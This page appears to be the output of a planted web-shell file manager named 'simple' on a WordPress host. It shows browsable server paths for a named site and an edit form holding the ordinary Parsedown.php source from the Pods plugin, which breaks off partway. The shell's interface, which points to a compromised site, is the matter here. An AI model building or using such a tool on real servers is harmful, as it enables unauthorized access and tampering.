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<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fvar%2F'>var</a>/<a href='?path=%2Fvar%2Fwww%2F'>www</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2F'>vhosts</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2F'>vsdma.at</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2F'>httpdocs</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fpods%2F'>pods</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fpods%2Fvendor%2F'>vendor</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fpods%2Fvendor%2Fvendor-prefixed%2F'>vendor-prefixed</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fpods%2Fvendor%2Fvendor-prefixed%2Ferusev%2F'>erusev</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fpods%2Fvendor%2Fvendor-prefixed%2Ferusev%2Fparsedown%2F'>parsedown</a>/</p><hr><h3>✏️ Editing: Parsedown.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

#
#
# Pods__Prefixed__Parsedown
# http://parsedown.org
#
# (c) Emanuil Rusev
# http://erusev.com
#
# For the full license information, view the LICENSE file that was distributed
# with this source code.
#
#

class Pods__Prefixed__Parsedown
{
    # ~

    const version = &#039;1.8.0&#039;;

    # ~

    function text($text)
    {
        $Elements = $this-&gt;textElements($text);

        # convert to markup
        $markup = $this-&gt;elements($Elements);

        # trim line breaks
        $markup = trim($markup, &quot;\n&quot;);

        return $markup;
    }

    protected function textElements($text)
    {
        # make sure no definitions are set
        $this-&gt;DefinitionData = array();

        # standardize line breaks
        $text = str_replace(array(&quot;\r\n&quot;, &quot;\r&quot;), &quot;\n&quot;, $text);

        # remove surrounding line breaks
        $text = trim($text, &quot;\n&quot;);

        # split text into lines
        $lines = explode(&quot;\n&quot;, $text);

        # iterate through lines to identify blocks
        return $this-&gt;linesElements($lines);
    }

    #
    # Setters
    #

    function setBreaksEnabled($breaksEnabled)
    {
        $this-&gt;breaksEnabled = $breaksEnabled;

        return $this;
    }

    protected $breaksEnabled;

    function setMarkupEscaped($markupEscaped)
    {
        $this-&gt;markupEscaped = $markupEscaped;

        return $this;
    }

    protected $markupEscaped;

    function setUrlsLinked($urlsLinked)
    {
        $this-&gt;urlsLinked = $urlsLinked;

        return $this;
    }

    protected $urlsLinked = true;

    function setSafeMode($safeMode)
    {
        $this-&gt;safeMode = (bool) $safeMode;

        return $this;
    }

    protected $safeMode;

    function setStrictMode($strictMode)
    {
        $this-&gt;strictMode = (bool) $strictMode;

        return $this;
    }

    protected $strictMode;

    protected $safeLinksWhitelist = array(
        &#039;http://&#039;,
        &#039;https://&#039;,
        &#039;ftp://&#039;,
        &#039;ftps://&#039;,
        &#039;mailto:&#039;,
        &#039;tel:&#039;,
        &#039;data:image/png;base64,&#039;,
        &#039;data:image/gif;base64,&#039;,
        &#039;data:image/jpeg;base64,&#039;,
        &#039;irc:&#039;,
        &#039;ircs:&#039;,
        &#039;git:&#039;,
        &#039;ssh:&#039;,
        &#039;news:&#039;,
        &#039;steam:&#039;,
    );

    #
    # Lines
    #

    protected $BlockTypes = array(
        &#039;#&#039; =&gt; array(&#039;Header&#039;),
        &#039;*&#039; =&gt; array(&#039;Rule&#039;, &#039;List&#039;),
        &#039;+&#039; =&gt; array(&#039;List&#039;),
        &#039;-&#039; =&gt; array(&#039;SetextHeader&#039;, &#039;Table&#039;, &#039;Rule&#039;, &#039;List&#039;),
        &#039;0&#039; =&gt; array(&#039;List&#039;),
        &#039;1&#039; =&gt; array(&#039;List&#039;),
        &#039;2&#039; =&gt; array(&#039;List&#039;),
        &#039;3&#039; =&gt; array(&#039;List&#039;),
        &#039;4&#039; =&gt; array(&#039;List&#039;),
        &#039;5&#039; =&gt; array(&#039;List&#039;),
        &#039;6&#039; =&gt; array(&#039;List&#039;),
        &#039;7&#039; =&gt; array(&#039;List&#039;),
        &#039;8&#039; =&gt; array(&#039;List&#039;),
        &#039;9&#039; =&gt; array(&#039;List&#039;),
        &#039;:&#039; =&gt; array(&#039;Table&#039;),
        &#039;&lt;&#039; =&gt; array(&#039;Comment&#039;, &#039;Markup&#039;),
        &#039;=&#039; =&gt; array(&#039;SetextHeader&#039;),
        &#039;&gt;&#039; =&gt; array(&#039;Quote&#039;),
        &#039;[&#039; =&gt; array(&#039;Reference&#039;),
        &#039;_&#039; =&gt; array(&#039;Rule&#039;),
        &#039;`&#039; =&gt; array(&#039;FencedCode&#039;),
        &#039;|&#039; =&gt; array(&#039;Table&#039;),
        &#039;~&#039; =&gt; array(&#039;FencedCode&#039;),
    );

    # ~

    protected $unmarkedBlockTypes = array(
        &#039;Code&#039;,
    );

    #
    # Blocks
    #

    protected function lines(array $lines)
    {
        return $this-&gt;elements($this-&gt;linesElements($lines));
    }

    protected function linesElements(array $lines)
    {
        $Elements = array();
        $CurrentBlock = null;

        foreach ($lines as $line)
        {
            if (chop($line) === &#039;&#039;)
            {
                if (isset($CurrentBlock))
                {
                    $CurrentBlock[&#039;interrupted&#039;] = (isset($CurrentBlock[&#039;interrupted&#039;])
                        ? $CurrentBlock[&#039;interrupted&#039;] + 1 : 1
                    );
                }

                continue;
            }

            while (($beforeTab = strstr($line, &quot;\t&quot;, true)) !== false)
            {
                $shortage = 4 - mb_strlen($beforeTab, &#039;utf-8&#039;) % 4;

                $line = $beforeTab
                    . str_repeat(&#039; &#039;, $shortage)
                    . substr($line, strlen($beforeTab) + 1)
                ;
            }

            $indent = strspn($line, &#039; &#039;);

            $text = $indent &gt; 0 ? substr($line, $indent) : $line;

            # ~

            $Line = array(&#039;body&#039; =&gt; $line, &#039;indent&#039; =&gt; $indent, &#039;text&#039; =&gt; $text);

            # ~

            if (isset($CurrentBlock[&#039;continuable&#039;]))
            {
                $methodName = &#039;block&#039; . $CurrentBlock[&#039;type&#039;] . &#039;Continue&#039;;
                $Block = $this-&gt;$methodName($Line, $CurrentBlock);

                if (isset($Block))
                {
                    $CurrentBlock = $Block;

                    continue;
                }
                else
                {
                    if ($this-&gt;isBlockCompletable($CurrentBlock[&#039;type&#039;]))
                    {
                        $methodName = &#039;block&#039; . $CurrentBlock[&#039;type&#039;] . &#039;Complete&#039;;
                        $CurrentBlock = $this-&gt;$methodName($CurrentBlock);
                    }
                }
            }

            # ~

            $marker = $text[0];

            # ~

            $blockTypes = $this-&gt;unmarkedBlockTypes;

            if (isset($this-&gt;BlockTypes[$marker]))
            {
                foreach ($this-&gt;BlockTypes[$marker] as $blockType)
                {
                    $blockTypes []= $blockType;
                }
            }

            #
            # ~

            foreach ($blockTypes as $blockType)
            {
                $Block = $this-&gt;{&quot;block$blockType&quot;}($Line, $CurrentBlock);

                if (isset($Block))
                {
                    $Block[&#039;type&#039;] = $blockType;

                    if ( ! isset($Block[&#039;identified&#039;]))
                    {
                        if (isset($CurrentBlock))
                        {
                            $Elements[] = $this-&gt;extractElement($CurrentBlock);
                        }

                        $Block[&#039;identified&#039;] = true;
                    }

                    if ($this-&gt;isBlockContinuable($blockType))
                    {
                        $Block[&#039;continuable&#039;] = true;
                    }

                    $CurrentBlock = $Block;

                    continue 2;
                }
            }

            # ~

            if (isset($CurrentBlock) and $CurrentBlock[&#039;type&#039;] === &#039;Paragraph&#039;)
            {
                $Block = $this-&gt;paragraphContinue($Line, $CurrentBlock);
            }

            if (isset($Block))
            {
                $CurrentBlock = $Block;
            }
            else
            {
                if (isset($CurrentBlock))
                {
                    $Elements[] = $this-&gt;extractElement($CurrentBlock);
                }

                $CurrentBlock = $this-&gt;paragraph($Line);

                $CurrentBlock[&#039;identified&#039;] = true;
            }
        }

        # ~

        if (isset($CurrentBlock[&#039;continuable&#039;]) and $this-&gt;isBlockCompletable($CurrentBlock[&#039;type&#039;]))
        {
            $methodName = &#039;block&#039; . $CurrentBlock[&#039;type&#039;] . &#039;Complete&#039;;
            $CurrentBlock = $this-&gt;$methodName($CurrentBlock);
        }

        # ~

        if (isset($CurrentBlock))
        {
            $Elements[] = $this-&gt;extractElement($CurrentBlock);
        }

        # ~

        return $Elements;
    }

    protected function extractElement(array $Component)
    {
        if ( ! isset($Component[&#039;element&#039;]))
        {
            if (isset($Component[&#039;markup&#039;]))
            {
                $Component[&#039;element&#039;] = array(&#039;rawHtml&#039; =&gt; $Component[&#039;markup&#039;]);
            }
            elseif (isset($Component[&#039;hidden&#039;]))
            {
                $Component[&#039;element&#039;] = array();
            }
        }

        return $Component[&#039;element&#039;];
    }

    protected function isBlockContinuable($Type)
    {
        return method_exists($this, &#039;block&#039; . $Type . &#039;Continue&#039;);
    }

    protected function isBlockCompletable($Type)
    {
        return method_exists($this, &#039;block&#039; . $Type . &#039;Complete&#039;);
    }

    #
    # Code

    protected function blockCode($Line, $Block = null)
    {
        if (isset($Block) and $Block[&#039;type&#039;] === &#039;Paragraph&#039; and ! isset($Block[&#039;interrupted&#039;]))
        {
            return;
        }

        if ($Line[&#039;indent&#039;] &gt;= 4)
        {
            $text = substr($Line[&#039;body&#039;], 4);

            $Block = array(
                &#039;element&#039; =&gt; array(
                    &#039;name&#039; =&gt; &#039;pre&#039;,
                    &#039;element&#039; =&gt; array(
                        &#039;name&#039; =&gt; &#039;code&#039;,
                        &#039;text&#039; =&gt; $text,
                    ),
                ),
            );

            return $Block;
        }
    }

    protected function blockCodeContinue($Line, $Block)
    {
        if ($Line[&#039;indent&#039;] &gt;= 4)
        {
            if (isset($Block[&#039;interrupted&#039;]))
            {
                $Block[&#039;element&#039;][&#039;element&#039;][&#039;text&#039;] .= str_repeat(&quot;\n&quot;, $Block[&#039;interrupted&#039;]);

                unset($Block[&#039;interrupted&#039;]);
            }

            $Block[&#039;element&#039;][&#039;element&#039;][&#039;text&#039;] .= &quot;\n&quot;;

            $text = substr($Line[&#039;body&#039;], 4);

            $Block[&#039;element&#039;][&#039;element&#039;][&#039;text&#039;] .= $text;

            return $Block;
        }
    }

    protected function blockCodeComplete($Block)
    {
        return $Block;
    }

    #
    # Comment

    protected function blockComment($Line)
    {
        if ($this-&gt;markupEscaped or $this-&gt;safeMode)
        {
            return;
        }

        if (strpos($Line[&#039;text&#039;], &#039;&lt;!--&#039;) === 0)
        {
            $Block = array(
                &#039;element&#039; =&gt; array(
                    &#039;rawHtml&#039; =&gt; $Line[&#039;body&#039;],
                    &#039;autobreak&#039; =&gt; true,
                ),
            );

            if (strpos($Line[&#039;text&#039;], &#039;--&gt;&#039;) !== false)
            {
                $Block[&#039;closed&#039;] = true;
            }

            return $Block;
        }
    }

    protected function blockCommentContinue($Line, array $Block)
    {
        if (isset($Block[&#039;closed&#039;]))
        {
            return;
        }

        $Block[&#039;element&#039;][&#039;rawHtml&#039;] .= &quot;\n&quot; . $Line[&#039;body&#039;];

        if (strpos($Line[&#039;text&#039;], &#039;--&gt;&#039;) !== false)
        {
            $Block[&#039;closed&#039;] = true;
        }

        return $Block;
    }

    #
    # Fenced Code

    protected function blockFencedCode($Line)
    {
        $marker = $Line[&#039;text&#039;][0];

        $openerLength = strspn($Line[&#039;text&#039;], $marker);

        if ($openerLength &lt; 3)
        {
            return;
        }

        $infostring = trim(substr($Line[&#039;text&#039;], $openerLength), &quot;\t &quot;);

        if (strpos($infostring, &#039;`&#039;) !== false)
        {
            return;
        }

        $Element = array(
            &#039;name&#039; =&gt; &#039;code&#039;,
            &#039;text&#039; =&gt; &#039;&#039;,
        );

        if ($infostring !== &#039;&#039;)
        {
            /**
             * https://www.w3.org/TR/2011/WD-html5-20110525/elements.html#classes
             * Every HTML element may have a class attribute specified.
             * The attribute, if specified, must have a value that is a set
             * of space-separated tokens representing the various classes
             * that the element belongs to.
             * [...]
             * The space characters, for the purposes of this specification,
             * are U+0020 SPACE, U+0009 CHARACTER TABULATION (tab),
             * U+000A LINE FEED (LF), U+000C FORM FEED (FF), and
             * U+000D CARRIAGE RETURN (CR).
             *
        @license MIT
        Modified by Scott Kingsley Clark on 24-February-2026 using Strauss.
        @see https://github.com/BrianHenryIE/strauss
*/
            $language = substr($infostring, 0, strcspn($infostring, &quot; \t\n\f\r&quot;));

            $Element[&#039;attributes&#039;] = array(&#039;class&#039; =&gt; &quot;language-$language&quot;);
        }

        $Block = array(
            &#039;char&#039; =&gt; $marker,
            &#039;openerLength&#039; =&gt; $openerLength,
            &#039;element&#039; =&gt; array(
                &#039;name&#039; =&gt; &#039;pre&#039;,
                &#039;element&#039; =&gt; $Element,
            ),
        );

        return $Block;
    }

    protected function blockFencedCodeContinue($Line, $Block)
    {
        if (isset($Block[&#039;complete&#039;]))
        {
            return;
        }

        if (isset($Block[&#039;interrupted&#039;]))
        {
            $Block[&#039;element&#039;][&#039;element&#039;][&#039;text&#039;] .= str_repeat(&quot;\n&quot;, $Block[&#039;interrupted&#039;]);

            unset($Block[&#039;interrupted&#039;]);
        }

        if (($len = strspn($Line[&#039;text&#039;], $Block[&#039;char&#039;])) &gt;= $Block[&#039;openerLength&#039;]
            and chop(substr($Line[&#039;text&#039;], $len), &#039; &#039;) === &#039;&#039;
        ) {
            $Block[&#039;element&#039;][&#039;element&#039;][&#039;text&#039;] = substr($Block[&#039;element&#039;][&#039;element&#039;][&#039;text&#039;], 1);

            $Block[&#039;complete&#039;] = true;

            return $Block;
        }

        $Block[&#039;element&#039;][&#039;element&#039;][&#039;text&#039;] .= &quot;\n&quot; . $Line[&#039;body&#039;];

        return $Block;
    }

    protected function blockFencedCodeComplete($Block)
    {
        return $Block;
    }

    #
    # Header

    protected function blockHeader($Line)
    {
        $level = strspn($Line[&#039;text&#039;], &#039;#&#039;);

        if ($level &gt; 6)
        {
            return;
        }

        $text = trim($Line[&#039;text&#039;], &#039;#&#039;);

        if ($this-&gt;strictMode and isset($text[0]) and $text[0] !== &#039; &#039;)
        {
            return;
        }

        $text = trim($text, &#039; &#039;);

        $Block = array(
            &#039;element&#039; =&gt; array(
                &#039;name&#039; =&gt; &#039;h&#039; . $level,
                &#039;handler&#039; =&gt; array(
                    &#039;function&#039; =&gt; &#039;lineElements&#039;,
                    &#039;argument&#039; =&gt; $text,
                    &#039;destination&#039; =&gt; &#039;elements&#039;,
                )
            ),
        );

        return $Block;
    }

    #
    # List

    protected function blockList($Line, ?array $CurrentBlock = null)
    {
        list($name, $pattern) = $Line[&#039;text&#039;][0] &lt;= &#039;-&#039; ? array(&#039;ul&#039;, &#039;[*+-]&#039;) : array(&#039;ol&#039;, &#039;[0-9]{1,9}+[.\)]&#039;);

        if (preg_match(&#039;/^(&#039;.$pattern.&#039;([ ]++|$))(.*+)/&#039;, $Line[&#039;text&#039;], $matches))
        {
            $contentIndent = strlen($matches[2]);

            if ($contentIndent &gt;= 5)
            {
                $contentIndent -= 1;
                $matches[1] = substr($matches[1], 0, -$contentIndent);
                $matches[3] = str_repeat(&#039; &#039;, $contentIndent) . $matches[3];
            }
            elseif ($contentIndent === 0)
            {
                $matches[1] .= &#039; &#039;;
            }

            $markerWithoutWhitespace = strstr($matches[1], &#039; &#039;, true);

            $Block = array(
                &#039;indent&#039; =&gt; $Line[&#039;indent&#039;],
                &#039;pattern&#039; =&gt; $pattern,
                &#039;data&#039; =&gt; array(
                    &#039;type&#039; =&gt; $name,
                    &#039;marker&#039; =&gt; $matches[1],
                    &#039;markerType&#039; =&gt; ($name === &#039;ul&#039; ? $markerWithoutWhitespace : substr($markerWithoutWhitespace, -1)),
                ),
                &#039;element&#039; =&gt; array(
                    &#039;name&#039; =&gt; $name,
                    &#039;elements&#039; =&gt; array(),
                ),
            );
            $Block[&#039;data&#039;][&#039;markerTypeRegex&#039;] = preg_quote($Block[&#039;data&#039;][&#039;markerType&#039;], &#039;/&#039;);

            if ($name === &#039;ol&#039;)
            {
                $listStart = ltrim(strstr($matches[1], $Block[&#039;data&#039;][&#039;markerType&#039;], true), &#039;0&#039;) ?: &#039;0&#039;;

                if ($listStart !== &#039;1&#039;)
                {
                    if (
                        isset($CurrentBlock)
                        and $CurrentBlock[&#039;type&#039;] === &#039;Paragraph&#039;
                        and ! isset($CurrentBlock[&#039;interrupted&#039;])
                    ) {
                        return;
                    }

                    $Block[&#039;element&#039;][&#039;attributes&#039;] = array(&#039;start&#039; =&gt; $listStart);
                }
            }

            $Block[&#039;li&#039;] = array(
                &#039;name&#039; =&gt; &#039;li&#039;,
                &#039;handler&#039; =&gt; array(
                    &#039;function&#039; =&gt; &#039;li&#039;,
                    &#039;argument&#039; =&gt; !empty($matches[3]) ? array($matches[3]) : array(),
                    &#039;destination&#039; =&gt; &#039;elements&#039;
                )
            );

            $Block[&#039;element&#039;][&#039;elements&#039;] []= &amp; $Block[&#039;li&#039;];

            return $Block;
        }
    }

    protected function blockListContinue($Line, array $Block)
    {
        if (isset($Block[&#039;interrupted&#039;]) and empty($Block[&#039;li&#039;][&#039;handler&#039;][&#039;argument&#039;]))
        {
            return null;
        }

        $requiredIndent = ($Block[&#039;indent&#039;] + strlen($Block[&#039;data&#039;][&#039;marker&#039;]));

        if ($Line[&#039;indent&#039;] &lt; $requiredIndent
            and (
                (
                    $Block[&#039;data&#039;][&#039;type&#039;] === &#039;ol&#039;
                    and preg_match(&#039;/^[0-9]++&#039;.$Block[&#039;data&#039;][&#039;markerTypeRegex&#039;].&#039;(?:[ ]++(.*)|$)/&#039;, $Line[&#039;text&#039;], $matches)
                ) or (
                    $Block[&#039;data&#039;][&#039;type&#039;] === &#039;ul&#039;
                    and preg_match(&#039;/^&#039;.$Block[&#039;data&#039;][&#039;markerTypeRegex&#039;].&#039;(?:[ ]++(.*)|$)/&#039;, $Line[&#039;text&#039;], $matches)
                )
            )
        ) {
            if (isset($Block[&#039;interrupted&#039;]))
            {
                $Block[&#039;li&#039;][&#039;handler&#039;][&#039;argument&#039;] []= &#039;&#039;;

                $Block[&#039;loose&#039;] = true;

                unset($Block[&#039;interrupted&#039;]);
            }

            unset($Block[&#039;li&#039;]);

            $text = isset($matches[1]) ? $matches[1] : &#039;&#039;;

            $Block[&#039;indent&#039;] = $Line[&#039;indent&#039;];

            $Block[&#039;li&#039;] = array(
                &#039;name&#039; =&gt; &#039;li&#039;,
                &#039;handler&#039; =&gt; array(
                    &#039;function&#039; =&gt; &#039;li&#039;,
                    &#039;argument&#039; =&gt; array($text),
                    &#039;destination&#039; =&gt; &#039;elements&#039;
                )
            );

            $Block[&#039;element&#039;][&#039;elements&#039;] []= &amp; $Block[&#039;li&#039;];

            return $Block;
        }
        elseif ($Line[&#039;indent&#039;] &lt; $requiredIndent and $this-&gt;blockList($Line))
        {
            return null;
        }

        if ($Line[&#039;text&#039;][0] === &#039;[&#039; and $this-&gt;blockReference($Line))
        {
            return $Block;
        }

        if ($Line[&#039;indent&#039;] &gt;= $requiredIndent)
        {
            if (isset($Block[&#039;interrupted&#039;]))
            {
                $Block[&#039;li&#039;][&#039;handler&#039;][&#039;argument&#039;] []= &#039;&#039;;

                $Block[&#039;loose&#039;] = true;

                unset($Block[&#039;interrupted&#039;]);
            }

            $text = substr($Line[&#039;body&#039;], $requiredIndent);

            $Block[&#039;li&#039;][&#039;handler&#039;][&#039;argument&#039;] []= $text;

            return $Block;
        }

        if ( ! isset($Block[&#039;interrupted&#039;]))
        {
            $text = preg_replace(&#039;/^[ ]{0,&#039;.$requiredIndent.&#039;}+/&#039;, &#039;&#039;, $Line[&#039;body&#039;]);

            $Block[&#039;li&#039;][&#039;handler&#039;][&#039;argument&#039;] []= $text;

            return $Block;
        }
    }

    protected function blockListComplete(array $Block)
    {
        if (isset($Block[&#039;loose&#039;]))
        {
            foreach ($Block[&#039;element&#039;][&#039;elements&#039;] as &amp;$li)
            {
                if (end($li[&#039;handler&#039;][&#039;argument&#039;]) !== &#039;&#039;)
                {
                    $li[&#039;handler&#039;][&#039;argument&#039;] []= &#039;&#039;;
                }
            }
        }

        return $Block;
    }

    #
    # Quote

    protected function blockQuote($Line)
    {
        if (preg_match(&#039;/^&gt;[ ]?+(.*+)/&#039;, $Line[&#039;text&#039;], $matches))
        {
            $Block = array(
                &#039;element&#039; =&gt; array(
                    &#039;name&#039; =&gt; &#039;blockquote&#039;,
                    &#039;handler&#039; =&gt; array(
                        &#039;function&#039; =&gt; &#039;linesElements&#039;,
                        &#039;argument&#039; =&gt; (array) $matches[1],
                        &#039;destination&#039; =&gt; &#039;elements&#039;,
                    )
                ),
            );

            return $Block;
        }
    }

    protected function blockQuoteContinue($Line, array $Block)
    {
        if (isset($Block[&#039;interrupted&#039;]))
        {
            return;
        }

        if ($Line[&#039;text&#039;][0] === &#039;&gt;&#039; and preg_match(&#039;/^&gt;[ ]?+(.*+)/&#039;, $Line[&#039;text&#039;], $matches))
        {
            $Block[&#039;element&#039;][&#039;handler&#039;][&#039;argument&#039;] []= $matches[1];

            return $Block;
        }

        if ( ! isset($Block[&#039;interrupted&#039;]))
        {
            $Block[&#039;element&#039;][&#039;handler&#039;][&#039;argument&#039;] []= $Line[&#039;text&#039;];

            return $Block;
        }
    }

    #
    # Rule

    protected function blockRule($Line)
    {
        $marker = $Line[&#039;text&#039;][0];

        if (substr_count($Line[&#039;text&#039;], $marker) &gt;= 3 and chop($Line[&#039;text&#039;], &quot; $marker&quot;) === &#039;&#039;)
        {
            $Block = array(
                &#039;element&#039; =&gt; array(
                    &#039;name&#039; =&gt; &#039;hr&#039;,
                ),
            );

            return $Block;
        }
    }

    #
    # Setext

    protected function blockSetextHeader($Line, ?array $Block = null)
    {
        if ( ! isset($Block) or $Block[&#039;type&#039;] !== &#039;Paragraph&#039; or isset($Block[&#039;interrupted&#039;]))
        {
            return;
        }

        if ($Line[&#039;indent&#039;] &lt; 4 and chop(chop($Line[&#039;text&#039;], &#039; &#039;), $Line[&#039;text&#039;][0]) === &#039;&#039;)
        {
            $Block[&#039;element&#039;][&#039;name&#039;] = $Line[&#039;text&#039;][0] === &#039;=&#039; ? &#039;h1&#039; : &#039;h2&#039;;

            return $Block;
        }
    }

    #
    # Markup

    protected function blockMarkup($Line)
    {
        if ($this-&gt;markupEscaped or $this-&gt;safeMode)
        {
            return;
        }

        if (preg_match(&#039;/^&lt;[\/]?+(\w*)(?:[ ]*+&#039;.$this-&gt;regexHtmlAttribute.&#039;)*+[ ]*+(\/)?&gt;/&#039;, $Line[&#039;text&#039;], $matches))
        {
            $element = strtolower($matches[1]);

            if (in_array($element, $this-&gt;textLevelElements))
            {
                return;
            }

            $Block = array(
                &#039;name&#039; =&gt; $matches[1],
                &#039;element&#039; =&gt; array(
                    &#039;rawHtml&#039; =&gt; $Line[&#039;text&#039;],
                    &#039;autobreak&#039; =&gt; true,
                ),
            );

            return $Block;
        }
    }

    protected function blockMarkupContinue($Line, array $Block)
    {
        if (isset($Block[&#039;closed&#039;]) or isset($Block[&#039;interrupted&#039;]))
        {
            return;
        }

        $Block[&#039;element&#039;][&#039;rawHtml&#039;] .= &quot;\n&quot; . $Line[&#039;body&#039;];

        return $Block;
    }

    #
    # Reference

    protected function blockReference($Line)
    {
        if (strpos($Line[&#039;text&#039;], &#039;]&#039;) !== false
            and preg_match(&#039;/^\[(.+?)\]:[ ]*+&lt;?(\S+?)&gt;?(?:[ ]+[&quot;\&#039;(](.+)[&quot;\&#039;)])?[ ]*+$/&#039;, $Line[&#039;text&#039;], $matches)
        ) {
            $id = strtolower($matches[1]);

            $Data = array(
                &#039;url&#039; =&gt; $matches[2],
                &#039;title&#039; =&gt; isset($matches[3]) ? $matches[3] : null,
            );

            $this-&gt;DefinitionData[&#039;Reference&#039;][$id] = $Data;

            $Block = array(
                &#039;element&#039; =&gt; array(),
            );

            return $Block;
        }
    }

    #
    # Table

    protected function blockTable($Line, ?array $Block = null)
    {
        if ( ! isset($Block) or $Block[&#039;type&#039;] !== &#039;Paragraph&#039; or isset($Block[&#039;interrupted&#039;]))
        {
            return;
        }

        if (
            strpos($Block[&#039;element&#039;][&#039;handler&#039;][&#039;argument&#039;], &#039;|&#039;) === false
            and strpos($Line[&#039;text&#039;], &#039;|&#039;) === false
            and strpos($Line[&#039;text&#039;], &#039;:&#039;) === false
            or strpos($Block[&#039;element&#039;][&#039;handler&#039;][&#039;argument&#039;], &quot;\n&quot;) !== false
        ) {
            return;
        }

        if (chop($Line[&#039;text&#039;], &#039; -:|&#039;) !== &#039;&#039;)
        {
            return;
        }

        $alignments = array();

        $divider = $Line[&#039;text&#039;];

        $divider = trim($divider);
        $divider = trim($divider, &#039;|&#039;);

        $dividerCells = explode(&#039;|&#039;, $divider);

        foreach ($dividerCells as $dividerCell)
        {
            $dividerCell = trim($dividerCell);

            if ($dividerCell === &#039;&#039;)
            {
                return;
            }

            $alignment = null;

            if ($dividerCell[0] === &#039;:&#039;)
            {
                $alignment = &#039;left&#039;;
            }

            if (substr($dividerCell, - 1) === &#039;:&#039;)
            {
                $alignment = $alignment === &#039;left&#039; ? &#039;center&#039; : &#039;right&#039;;
            }

            $alignments []= $alignment;
        }

        # ~

        $HeaderElements = array();

        $header = $Block[&#039;element&#039;][&#039;handler&#039;][&#039;argument&#039;];

        $header = trim($header);
        $header = trim($header, &#039;|&#039;);

        $headerCells = explode(&#039;|&#039;, $header);

        if (count($headerCells) !== count($alignments))
        {
            return;
        }

        foreach ($headerCells as $index =&gt; $headerCell)
        {
            $headerCell = trim($headerCell);

            $HeaderElement = array(
                &#039;name&#039; =&gt; &#039;th&#039;,
                &#039;handler&#039; =&gt; array(
                    &#039;function&#039; =&gt; &#039;lineElements&#039;,
                    &#039;argument&#039; =&gt; $headerCell,
                    &#039;destination&#039; =&gt; &#039;elements&#039;,
                )
            );

            if (isset($alignments[$index]))
            {
                $alignment = $alignments[$index];

                $HeaderElement[&#039;attributes&#039;] = array(
                    &#039;style&#039; =&gt; &quot;text-align: $alignment;&quot;,
                );
            }

            $HeaderElements []= $HeaderElement;
        }

        # ~

        $Block = array(
            &#039;alignments&#039; =&gt; $alignments,
            &#039;identified&#039; =&gt; true,
            &#039;element&#039; =&gt; array(
                &#039;name&#039; =&gt; &#039;table&#039;,
                &#039;elements&#039; =&gt; array(),
            ),
        );

        $Block[&#039;element&#039;][&#039;elements&#039;] []= array(
            &#039;name&#039; =&gt; &#039;thead&#039;,
        );

        $Block[&#039;element&#039;][&#039;elements&#039;] []= array(
            &#039;name&#039; =&gt; &#039;tbody&#039;,
            &#039;elements&#039; =&gt; array(),
        );

        $Block[&#039;element&#039;][&#039;elements&#039;][0][&#039;elements&#039;] []= array(
            &#039;name&#039; =&gt; &#039;tr&#039;,
            &#039;elements&#039; =&gt; $HeaderElements,
        );

        return $Block;
    }

    protected function blockTableContinue($Line, array $Block)
    {
        if (isset($Block[&#039;interrupted&#039;]))
        {
            return;
        }

        if (count($Block[&#039;alignments&#039;]) === 1 or $Line[&#039;text&#039;][0] === &#039;|&#039; or strpos($Line[&#039;text&#039;], &#039;|&#039;))
        {
            $Elements = array();

            $row = $Line[&#039;text&#039;];

            $row = trim($row);
            $row = trim($row, &#039;|&#039;);

            preg_match_all(&#039;/(?:(\\\\[|])|[^|`]|`[^`]++`|`)++/&#039;, $row, $matches);

            $cells = array_slice($matches[0], 0, count($Block[&#039;alignments&#039;]));

            foreach ($cells as $index =&gt; $cell)
            {
                $cell = trim($cell);

                $Element = array(
                    &#039;name&#039; =&gt; &#039;td&#039;,
                    &#039;handler&#039; =&gt; array(
                        &#039;function&#039; =&gt; &#039;lineElements&#039;,
                        &#039;argument&#039; =&gt; $cell,
                        &#039;destination&#039; =&gt; &#039;elements&#039;,
                    )
                );

                if (isset($Block[&#039;alignments&#039;][$index]))
                {
                    $Element[&#039;attributes&#039;] = array(
                        &#039;style&#039; =&gt; &#039;text-align: &#039; . $Block[&#039;alignments&#039;][$index] . &#039;;&#039;,
                    );
                }

                $Elements []= $Element;
            }

            $Element = array(
                &#039;name&#039; =&gt; &#039;tr&#039;,
                &#039;elements&#039; =&gt; $Elements,
            );

            $Block[&#039;element&#039;][&#039;elements&#039;][1][&#039;elements&#039;] []= $Element;

            return $Block;
        }
    }

    #
    # ~
    #

    protected function paragraph($Line)
    {
        return array(
            &#039;type&#039; =&gt; &#039;Paragraph&#039;,
            &#039;element&#039; =&gt; array(
                &#039;name&#039; =&gt; &#039;p&#039;,
                &#039;handler&#039; =&gt; array(
                    &#039;function&#039; =&gt; &#039;lineElements&#039;,
                    &#039;argument&#039; =&gt; $Line[&#039;text&#039;],
                    &#039;destination&#039; =&gt; &#039;elements&#039;,
                ),
            ),
        );
    }

    protected function paragraphContinue($Line, array $Block)
    {
        if (isset($Block[&#039;interrupted&#039;]))
        {
            return;
        }

